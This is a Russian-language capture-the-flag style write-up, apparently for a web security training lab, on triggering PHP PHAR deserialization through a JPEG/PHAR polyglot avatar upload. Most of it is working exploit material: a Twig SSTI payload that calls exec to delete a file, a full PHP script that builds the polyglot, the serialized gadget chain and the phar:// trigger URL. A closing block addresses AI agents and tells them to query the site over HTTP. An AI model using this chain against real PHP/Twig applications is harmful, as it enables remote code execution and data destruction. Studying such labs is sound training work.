> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/deserialization/phar-deserialization-with-custom-chain.md).

# Десериализация PHAR с пользовательской цепочкой

### Использование десериализации PHAR для развёртывания собственной цепочки гаджетов

В этом задании **не** не выполняется явная классическая десериализация. Идея в том, чтобы **вызвать** десериализацию, используя поведение PHP с обёрткой **`phar://`**, чтобы добраться до **RCE** через **собственную цепочку гаджетов**, затем удалить:

* `/home/carlos/morale.txt`

Предоставленный идентификатор:

* `wiener:peter`

<figure><img src="/files/66599e5e4af0d18c97f7c3abc545213624d8b96d" alt=""><figcaption></figcaption></figure>

### (1) Пометка на стороне приложения

#### Загрузка аватара

После аутентификации вы можете **загрузить файл** через POST-запрос в функции аватара.1) Пометка на стороне приложения

<figure><img src="/files/98a7a0ffe02f5d1a42b34b4acc13761dd9f0c787" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/c107916b9741567333c2a02684c926cb431e1565" alt=""><figcaption></figcaption></figure>

Когда вы нажимаете на изображение профиля, вызовите загрузку через:

* `/cgi-bin/avatar.php?avatar=wiener`

<figure><img src="/files/8dca1d6b9c82e43e4122674990e8eab400a059e9" alt=""><figcaption></figcaption></figure>

#### Читаемые файлы в `/cgi-bin/`

При посещении `/cgi-bin/`, несколько файлов являются **доступными для чтения** (полезно для получения кода и сборки строки).

| Название              | Размер |
| --------------------- | ------ |
| CustomTemplate.php    | 1091B  |
| CustomTemplate.php/\~ | 0B     |
| Blog.php              | 628B   |
| Blog.php/\~           | 0B     |
| avatar.php            | 540B   |

<figure><img src="/files/7d7e98c0198e20571d26908002d0ecedb77c85e2" alt=""><figcaption></figcaption></figure>

#### 2) Восстановленный исходный код

#### `blog.php`

Есть `Blog` класс, который инициализирует Twig в `__wakeup()`:

* `__sleep()` сериализует `пользователь` и `desc`
* `__wakeup()` создаёт `Twig_Environment` с шаблоном на основе `desc`
* `__toString()` рендерит `index` и внедряет `пользователь`

Важный момент: `desc` непосредственно становится **шаблоном Twig**, так что его можно использовать для нацеливания на **SSTI**.

```php
<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>
```

#### `CustomTemplate.php`

У `CustomTemplate` класс содержит:

* приватное `$template_file_path` поле
* файл `__destruct()` деструктор, который выполняет:
* `@unlink($this->lockFilePath());`

`lockFilePath()` строит:

* `'templates/' . $this->template_file_path . '.lock'`

Итак, если мы контролируем `template_file_path` объектом, который преобразуется в строку, мы можем влиять на путь, используемый `unlink()`.

```php
<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Не удалось записать в " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Не удалось записать в " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Карлос подумал, что это будет хорошей идеей
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>
```

#### 3) Полезная нагрузка Twig (SSTI → Exec)

Использованный Twig-пейлоад:

Цель: выполнить `rm /home/carlos/morale.txt`.

```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
```

### 4) Стратегия эксплуатации: полиглот PHAR

Проблема: загрузка ожидает **image**. / Решение: создать **полиглот** файл:

* Допустим как **JPEG**
* но содержащий **PHAR** (формат tar/phar) с **метаданными** сериализован

Почему это работает?

* Когда PHP открывает ресурс через `phar://...`, это может вызвать чтение манифеста PHAR и **десериализовать определённые метаданные** (так что выполнятся `__wakeup`, `__destruct`, и т. д. в зависимости от строки).

```php
<?php


function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // удалить <?php не работает с префиксом
    $len = strlen($phar) + 2; // исправлено
    $new = substr($jpeg, 0, 2) . "/xff/xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // вычислить контрольную сумму tar
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // встроить контрольную сумму
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}


// класс для POP-эксплойта
class Blog {}
class CustomTemplate {}
$blog = new Blog();
$blog->user = "pwned";
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$object = new CustomTemplate();
$object->template_file_path = $blog;




// конфигурация для jpg
$tempname = 'temp.tar.phar'; // сделать tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';

var_dump(serialize($object));


// сделать jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

/*
// конфигурация для gif
$prefix = "/x47/x49/x46/x38/x39/x61" . "/x2c/x01/x2c/x01"; // заголовок gif, размер 300 x 300
$tempname = 'temp.phar'; // сделать phar
$outfile = 'out.gif';

// сделать gif
file_put_contents($outfile, generate_base_phar($payload, $prefix));

*/

```

### 5) Собранная цепочка гаджетов

Ты создаёшь:

* файл `Blog` объект со:
* `user = "pwned"`
* `desc = <Twig SSTI-пейлоад>`
* затем вы помещаете этот объект в `CustomTemplate->template_file_path`

Таким образом, когда `CustomTemplate` уничтожается, `lockFilePath()` будет конкатенировать значение из объекта, что принудит преобразование в строку → вызовет `Blog::__toString()` → запускает `twig->render()` → интерпретирует `desc` → выполняет команду.

```bash
php -c php.ini phar_jpg_polyglot.php
```

<figure><img src="/files/6a654e4c9eab4442077a5b7f1328a6d10f071c35" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
string(216) "O:14:\"CustomTemplate\":1:{s:18:\"template_file_path\";O:4:\"Blog\":2:{s:4:\"user\";s:5:\"pwned\";s:4:\"desc\";s:106:\"{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"rm /home/carlos/morale.txt\")}}\";}}"
```

{% endcode %}

* Загрузить `out.jpg` как аватар

<figure><img src="/files/26fc8fd921b802186d654299943fd12cd1fbf172" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/89e63bbb9796f9cb38c4d5da1a6dfd4689be69af" alt=""><figcaption></figcaption></figure>

Вызов ресурса через `phar://`:

* `cgi-bin/avatar.php?avatar=phar://wiener`

В этот момент приложение открывает ресурс через обёртку PHAR, метаданные десериализуются, строка срабатывает, и файл:

* `/home/carlos/morale.txt`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/deserialization/phar-deserialization-with-custom-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
